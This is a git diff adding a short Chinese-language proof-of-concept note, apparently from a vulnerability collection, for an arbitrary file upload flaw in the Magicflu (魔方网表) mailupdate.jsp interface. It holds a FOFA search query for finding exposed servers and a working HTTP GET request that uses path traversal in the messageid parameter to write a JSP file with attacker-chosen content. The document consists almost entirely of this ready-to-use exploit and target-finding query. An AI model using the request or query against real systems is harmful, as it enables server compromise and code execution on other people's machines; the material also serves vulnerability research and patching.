diff --git a/魔方网表mailupdate.jsp接口存在任意文件上传漏洞.md b/魔方网表mailupdate.jsp接口存在任意文件上传漏洞.md
new file mode 100644
index 0000000..5f5807e
--- /dev/null
+++ b/魔方网表mailupdate.jsp接口存在任意文件上传漏洞.md
@@ -0,0 +1,19 @@
+## 魔方网表mailupdate.jsp接口存在任意文件上传漏洞
+
+
+## fofa
+```
+icon_hash="694014318"
+
+```
+
+
+## poc
+```
+GET /magicflu/html/mail/mailupdate.jsp?messageid=/../../../test1.jsp&messagecontent=%3C%25+out.println%28%22tteesstt1%22%29%3B%25%3E HTTP/1.1
+User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
+Accept-Encoding: gzip, deflate
+Accept: */*
+Connection: close
+Host: 127.0.0.1
+```